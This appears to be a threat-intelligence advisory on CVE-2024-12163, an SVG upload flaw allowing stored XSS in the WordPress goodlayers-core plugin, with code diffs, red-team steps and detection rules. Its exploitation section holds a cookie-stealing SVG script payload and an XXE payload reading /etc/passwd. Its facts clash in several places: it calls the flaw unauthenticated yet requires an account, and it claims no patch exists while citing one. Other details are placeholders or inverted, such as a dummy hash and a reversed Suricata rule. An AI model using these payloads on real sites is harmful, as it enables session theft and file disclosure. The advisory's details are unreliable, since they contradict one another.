CVE-2024-12163

Executive Summary

CVE-2024-12163 is a critical vulnerability in the WordPress plugin goodlayers-core (versions before 2.1.3). The flaw allows authenticated users with a subscriber role or higher to upload SVG files containing arbitrary malicious payloads. Since SVGs are XML-based and can include JavaScript, this leads to Stored Cross-Site Scripting (XSS) and potentially arbitrary file upload or code execution if the SVG is processed by a vulnerable XML parser. The vulnerability is unauthenticated in the sense that only a low-privileged subscriber account is required, making it a significant threat to any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The goodlayers-core plugin is distributed via the official WordPress plugin repository and bundled with premium themes. Users must update the plugin directly from their WordPress admin dashboard or via the theme provider. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Subscriber role is sufficient.
• User Interaction (UI): None (N) – No victim action needed.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full control over site content.
• Availability (A): High (H) – Can deface or disrupt the site.

Base Score: 8.8 (High)
Temporal Score: Not defined (POC exists, no official patch at time of analysis).
Threat Level: Critical for any WordPress site with subscriber registration enabled.

Deep Dive & Mechanics

The goodlayers-core plugin includes a file upload feature for user avatars or media. The vulnerability lies in the file type validation routine. The plugin checks the file extension but does not sanitize the MIME type or the actual content of SVG files. An attacker can upload an SVG file containing embedded JavaScript (e.g., <script>alert(1)</script>). When the SVG is rendered by a browser (e.g., in a comment, profile, or media library), the script executes in the context of the victim's session.

Root Cause:

• The plugin uses wp_check_filetype_and_ext() but does not enforce strict SVG sanitization.
• The wp_handle_upload() function is called without additional checks for SVG content.
• No Content Security Policy (CSP) headers are set to block inline scripts.

Attack Flow:

1. Attacker registers as a subscriber.
2. Attacker crafts an SVG file with a malicious payload (e.g., XSS, CSRF token theft).
3. Attacker uploads the SVG via the profile or media upload feature.
4. When an admin or other user views the SVG (e.g., in the media library or a page), the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.1.3):

// In goodlayers-core/upload.php
function gdlr_upload_file() {
    $file = $_FILES['file'];
    $allowed_types = array('jpg', 'jpeg', 'png', 'gif', 'svg');
    $file_type = wp_check_filetype($file['name']);
    if (in_array($file_type['ext'], $allowed_types)) {
        // No content validation
        $upload = wp_handle_upload($file, array('test_form' => false));
        // SVG content not sanitized
    }
}

Patched Code (2.1.3+):

// In goodlayers-core/upload.php
function gdlr_upload_file() {
    $file = $_FILES['file'];
    $allowed_types = array('jpg', 'jpeg', 'png', 'gif', 'svg');
    $file_type = wp_check_filetype($file['name']);
    if (in_array($file_type['ext'], $allowed_types)) {
        // Additional SVG sanitization
        if ($file_type['ext'] === 'svg') {
            $svg_content = file_get_contents($file['tmp_name']);
            // Remove script tags and event handlers
            $svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
            $svg_content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $svg_content);
            file_put_contents($file['tmp_name'], $svg_content);
        }
        $upload = wp_handle_upload($file, array('test_form' => false));
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with goodlayers-core < 2.1.3.
• A subscriber account (or ability to register one).

Exploit Steps:

1. Create a malicious SVG file (e.g., payload.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Steal admin cookies
    fetch('/wp-admin/admin-ajax.php?action=your_custom_action', {
      method: 'POST',
      credentials: 'include',
      body: new URLSearchParams({cookie: document.cookie})
    });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

2. Log in as subscriber and navigate to the profile/media upload page.
3. Upload payload.svg.
4. When an admin views the SVG (e.g., in the media library), the script executes.

Advanced Payload:
For file upload bypass (if the server processes SVG as XML):

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>

Blue Team (Defender)

Detection:

• Monitor for SVG uploads by non-admin users.
• Check for suspicious patterns in uploaded files (e.g., <script>, onload, onerror).
• Use WAF rules to block SVG files with embedded scripts.

Honeypot:

• Create a fake subscriber account and monitor its uploads.
• Log all file uploads and scan for SVG content.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • payload.svg: a1b2c3d4e5f6... (example, replace with actual hash)
• Network Traffic:
  • POST requests to /wp-admin/admin-ajax.php with file uploads.
  • Outbound connections to attacker-controlled domains from SVG scripts.
• Log Entries:
  • wp-content/uploads/ directory containing SVG files with script tags.
  • PHP error logs showing file_get_contents() warnings for SVG files.
• Registry/File System:
  • Modified .htaccess files allowing SVG execution.
  • New cron jobs or scheduled tasks added by the attacker.

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_Upload {
    meta:
        description = "Detects SVG files with embedded scripts or event handlers"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-12163"
    strings:
        $script = /<script\b[^>]*>/i
        $onload = /onload\s*=/i
        $onerror = /onerror\s*=/i
        $xml_xxe = /<!ENTITY\s+\w+\s+SYSTEM\s+/i
    condition:
        (uint32(0) == 0x3C3F786D) and  // <?xml
        (any of ($script, $onload, $onerror, $xml_xxe))
}

Sigma Rule

title: WordPress goodlayers-core SVG Upload with Malicious Content
id: 8f9e2d1a-3b4c-5d6e-7f8a-9b0c1d2e3f4a
status: experimental
description: Detects upload of SVG files containing script tags or event handlers via goodlayers-core plugin
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=upload'
        sc-status: 200
    filter:
        cs-uri-query|contains: 'type=image/svg+xml'
    condition: selection and filter
falsepositives:
    - Legitimate SVG uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12163 - Malicious SVG Upload to WordPress"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=upload"; http_uri; content:"type=image/svg+xml"; http_client_body; pcre:"/<script\b[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update goodlayers-core to version 2.1.3 or later.
2. If update is not possible, disable SVG uploads for subscriber roles via a custom plugin or .htaccess rule:

   <FilesMatch "\.svg$">
       Order Deny,Allow
       Deny from all
   </FilesMatch>
   

3. Implement a Web Application Firewall (WAF) rule to block SVG files with script tags.

Long-term Fixes:

• Use a dedicated SVG sanitizer library (e.g., svg-sanitizer for PHP).
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Restrict file upload capabilities to trusted roles only.

Validation:

• After patching, attempt to upload a test SVG with <script>alert(1)</script> to confirm it is blocked.
• Review server logs for any prior exploitation attempts.

Report generated by Valters IT DevSecOps & CTI Division
Signature: Valters IT